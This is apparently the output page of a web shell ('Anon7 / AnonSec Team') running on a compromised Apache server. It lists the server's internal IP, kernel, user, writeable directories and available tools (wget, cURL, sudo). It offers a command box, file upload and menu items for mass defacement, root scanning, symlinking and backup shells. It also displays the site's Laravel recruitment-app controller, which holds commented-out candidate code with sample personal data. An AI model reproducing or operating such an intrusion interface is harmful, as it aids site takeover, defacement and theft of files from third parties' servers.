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/  Your IP : 172.31.44.28   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_local/modis.angelopescatore.it/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_local/modis.angelopescatore.it/app/Http/Controllers/RecruitmentOptionsController.php
<?php
namespace App\Http\Controllers;


use Illuminate\Http\Request;
use App\Models\RecruitmentOptions;

// use Illuminate\Http\Response;
use Illuminate\Database\QueryException;

class RecruitmentOptionsController extends Controller
{

    
    public function index(){
        
        /**
         * @OA\Get(
         *      path="/recruitment-options",
         *      tags={"DB MODIS"},
         *      summary="Get list of recruitment-options",
         *      description="If the requests was succesfull the api returns a json array with message <strong>True</strong> and the information requets.<br>Else an error message.",
         *      security={{"bearerAuth":{}}},
         *      @OA\Response(
         *          response=200,
         *          description="Successful operation",
         *        @OA\JsonContent(
         *                example={"status": true,
         *                         "message": {
         *                          {
         *                             "id_recruitment_options": "1",
         *                              "nome": "LinkedIn",
         *                          },},
         *                        },
         *             ),
         *     ),
         *     @OA\Response(
         *          response=404,
         *          description="NOT FOUND",
         *      ),
         *      @OA\Response(
         *          response=401,
         *          description="UNAUTHORIZED",
         *        @OA\JsonContent(
         *                example={"status": false,
         *                  "message": "Error!",
         *                          },
         *             ),
         *        ),
         *     ),
         *     )
         */

        return response()->json(["status" => true ,"message"=> RecruitmentOptions::all()], 200);
    }
}
    // /**
    //  * Store a newly created resource in storage.
    //  *
    //  * @param Request $request
    //  * @return Response
    //  */
    // public function store(Request $request)
    // {
    //     $status = $request->get('status');
    //     if($status == "" || !$status ){
    //         $request->merge(["status"=> "Contacted"]);
    //         $status = "Contacted";
    //     }

    //     try{
    //         $candidate = Candidates::create($request->all());    
    //     }catch(QueryException $e){
    //         return response()->json(['status' => false, 'message' => "Can't save candidate, please check the email address!"], 200);
    //     }
        
        
    //     if($candidate){
    //         $id_candidate = $candidate->id_candidate;
    //         //salvo lo stato del candidato 
    //         $user_data = getLoggedUserData($request);
    //         $status_candidate = new Request();
    //         $status_candidate->merge([
    //             "id_candidate"=> $id_candidate,
    //             "note"=> "",   
    //             "status"=> $status,   
    //             "logged_email"=> $user_data->email,   
    //             "job_title"=> $user_data->position,   
    //             "nome_cognome"=> $user_data->name . " " . $user_data->surname
    //         ]);

            
    //         if(CandidateStatus::create($status_candidate->all())){
    //             return response()->json(['status' => true, 'message' => "Candidate saved!"], 200);
    //         }else{
    //             return response()->json(['status' => false, 'message' => "Candidate saved but problem in save status of candidate!"], 200);
    //         }
            
    //     }
    //     return response()->json(['status' => false, 'message' => "Can't save candidate!"], 200);
    // }


    // public function showOnlyId($request_id)
    // {
    //     $asd = Candidates::all()->where('id_candidate', $request_id)->toArray();
    //     return array_pop($asd);
    // }

    // /**
    //  * Display the specified resource.
    //  *
    //  * @param int $id
    //  * @return Response
    //  */
    // public function show($id)
    // {
    //     /**
    //      * @OA\Get(
    //      *      path="/candidate/{id_candidate}",
    //      *      tags={"Candidates"},
    //      *      summary="Get a single Candidate",
    //      *      description="If the requests was succesfull the api returns a json array with message <strong>True</strong> and the information requets.<br>Else an error message.",
    //      *       security={{"bearerAuth":{}}},
    //      *        @OA\Parameter(
    //      *          name="id_candidate",
    //      *          in="path",
    //      *          required = true,
    //      *          @OA\Schema(
    //      *              type="integer"
    //      *          )
    //      *      ),
    //      *
    //      *      @OA\Response(
    //      *          response=200,
    //      *          description="Successful operation",
    //      *        @OA\JsonContent(
    //      *                example={"status": true,
    //      *                        "message": {
    //      *                              "id_candidate": 1,
    //      *                              "email": "reu@reu.com",
    //      *                              "name": "Niiokai",
    //      *                              "surname": "Mensah",
    //      *                              "phone": "129992439",
    //      *                              "cellular": "19293299",
    //      *                              "geographic_zone": "accra",
    //      *                              "gdpr": 0,
    //      *                              "cdf": "PLLTML93T21H656L",
    //      *                              "birth_date": "2008-11-11",
    //      *                              "id_comune_nascita": "accra",
    //      *                              "id_comune_residenza": "1",
    //      *                              "indirizzo_residenza": "vai",
    //      *                              "comune_altro": "null",
    //      *                              "id_nazione_residenza": "iiewi",
    //      *                              "id_nazione_nascita": "wjijf",
    //      *                              "piva": "000255414525",
    //      *                              "pec": "od@pec.com",
    //      *                              "consenso_marketing": 1,
    //      *                              "lat": "210.00",
    //      *                              "long": "12012.00",
    //      *                              "languages": "many",
    //      *                              "id_professional_profile": "1",
    //      *                              "date_time": "2008-11-11 13:23:44",
    //      *                              "type_interview": "321",
    //      *                              "password": "weq",
    //      *                              "email_user_insert": "hr@modis.com",
    //      *                              "name_user_insert": "Mario",
    //      *                              "surname_user_insert": "Rossi",
    //      *                              "created_at": "2021-09-30T07:55:08.000000Z",
    //      *                              "updated_at": "2021-09-30T07:55:08.000000Z"
    //      *                           },
    //      *                        },
    //      *             ),
    //      *     ),
    //      *     @OA\Response(
    //      *          response=404,
    //      *          description="NOT FOUND",
    //      *      ),
    //      *      @OA\Response(
    //      *          response=401,
    //      *          description="UNAUTHORIZED",
    //      *        @OA\JsonContent(
    //      *                example={"status": false,
    //      *                  "message": "Error!",
    //      *                          },
    //      *             ),
    //      *        ),
    //      *     ),
    //      *     )
    //      */

    //     $candidate = Candidates::find($id);

    //     if($candidate){
    //         return response()->json(['status' => true, 'message' => $candidate],200);
    //     }else{
    //         return response()->json(['status' => false, 'message' => "cant find this candidate"],201);
    //     }
    // }


    // /**
    //  * Update the specified resource in storage.
    //  *
    //  * @param Request $request
    //  * @param int $id
    //  * @return Response
    //  */
    // public function update(Request $request, $id)
    // {

    //     $profile = Candidates::findOrFail($id);
    //     if ($profile->update($request->all())) {
    //         return response()->json(['status' => true, 'message' => "Updated"]);
    //     }
    //     return response()->json(['status' => false, 'message' => "could not be updated "]);
    // }

    // /**
    //  * Remove the specified resource from storage.
    //  *
    //  * @param int $id
    //  * @return Response
    //  */
    // public function destroy($id)
    // {
    
    //     $profiles = Candidates::findOrFail($id);
    //     if ($profiles->delete()) {
    //         return response()->json(['status' => true, 'message' => "deleted"], 200);
    //     }
    //     return response()->json(['status' => true, 'message' => "could not be deleted"], 200);
    // }

   
    // /**
    //  * Update the specified resource in storage.
    //  *
    //  * @param Request $request
    //  * @param int $id
    //  * @return Response
    //  */
    // public function updateStatus(Request $request, $id)
    // {

    //     /**
    //      * @OA\Post(
    //      *      path="/updateStatusCandidate/{id_candidate}",
    //      *      tags={"Candidates"},
    //      *      summary="Update Status Candidate",
    //      *      description="If the requests was succesfull the api returns a json array with message <strong>True</strong> and the information requets.<br>Else an error message.",
    //      *     security={{"bearerAuth":{}}},
    //      *      @OA\Parameter(
    //      *          name="id_candidate",
    //      *          in="path",
    //      *          required = true,
    //      *          @OA\Schema(
    //      *              type="integer"
    //      *          )
    //      *      ),
    //      *          @OA\Parameter(
    //      *          name="status",
    //      *          in="query",
    //      *          @OA\Schema(
    //      *              type="string"
    //      *          )
    //      *     )
    //      */
    //     $profile = Candidates::findOrFail($id);
    //     if ($profile->update($request->all())) {
    //         return response()->json(['status' => true, 'message' => "Updated"]);
    //     }
    //     return response()->json(['status' => false, 'message' => "could not be updated "]);
    // }
// }

Anon7 - 2022
AnonSec Team